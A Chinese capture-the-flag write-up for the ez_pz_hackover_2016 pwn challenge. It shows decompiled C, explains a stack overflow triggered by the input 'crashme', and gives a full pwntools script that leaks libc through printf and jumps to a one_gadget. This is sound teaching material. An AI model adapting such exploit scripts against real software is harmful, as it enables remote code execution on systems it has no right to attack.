ez_pz_hackover_2016
题目链接:ez_pz_hackover_2016。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0);
header();
chall();
return 0;
}
其中 chall 函数如下。
int chall()
{
size_t v0; // eax
int result; // eax
char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
_BYTE *v3; // [esp+40Ch] [ebp-Ch]
printf("Yippie, lets crash: %p\n", s);
printf("Whats your name?\n");
printf("> ");
fgets(s, 0x3FF, stdin);
v0 = strlen(s);
v3 = memchr(s, '\n', v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", s);
result = strcmp(s, "crashme");
if ( !result )
return (int)vuln((char)s, 0x400u);
return result;
}
vuln 函数如下。
void *__cdecl vuln(char src, size_t n)
{
char dest[50]; // [esp+6h] [ebp-32h] BYREF
return memcpy(dest, &src, n);
}
通过分析,可以发现,当用户输入的字符串中存在字符串 "crashme" 时,在特定条件下可以触发栈溢出。
解题思路:
- 栈溢出,泄露 LIBC 基址。
- 打 One_GadGet。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# .text:08048470 ; void __usercall __noreturn start(int@<eax>, void (*)(void)@<edx>)
sla('> ', \
b'crashme\x00'.ljust(0xFFFFC9CC - 0xFFFFC9B2, b'a') + \
p32(ELF_FILE.plt['printf']) + \
p32(0x08048470) + \
p32(ELF_FILE.got['fgets']))
LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['fgets']
leak('LIBC_ADDR', LIBC_ADDR)
one = one_gadget(LIBC_ADDR)
sla('> ', \
b'crashme\x00'.ljust(0xFFFFC9CC - 0xFFFFC9B2, b'a') + \
p32(one[0]) + b'\x00' * 0x100)
irt()
pwn()

浙公网安备 33010602011771号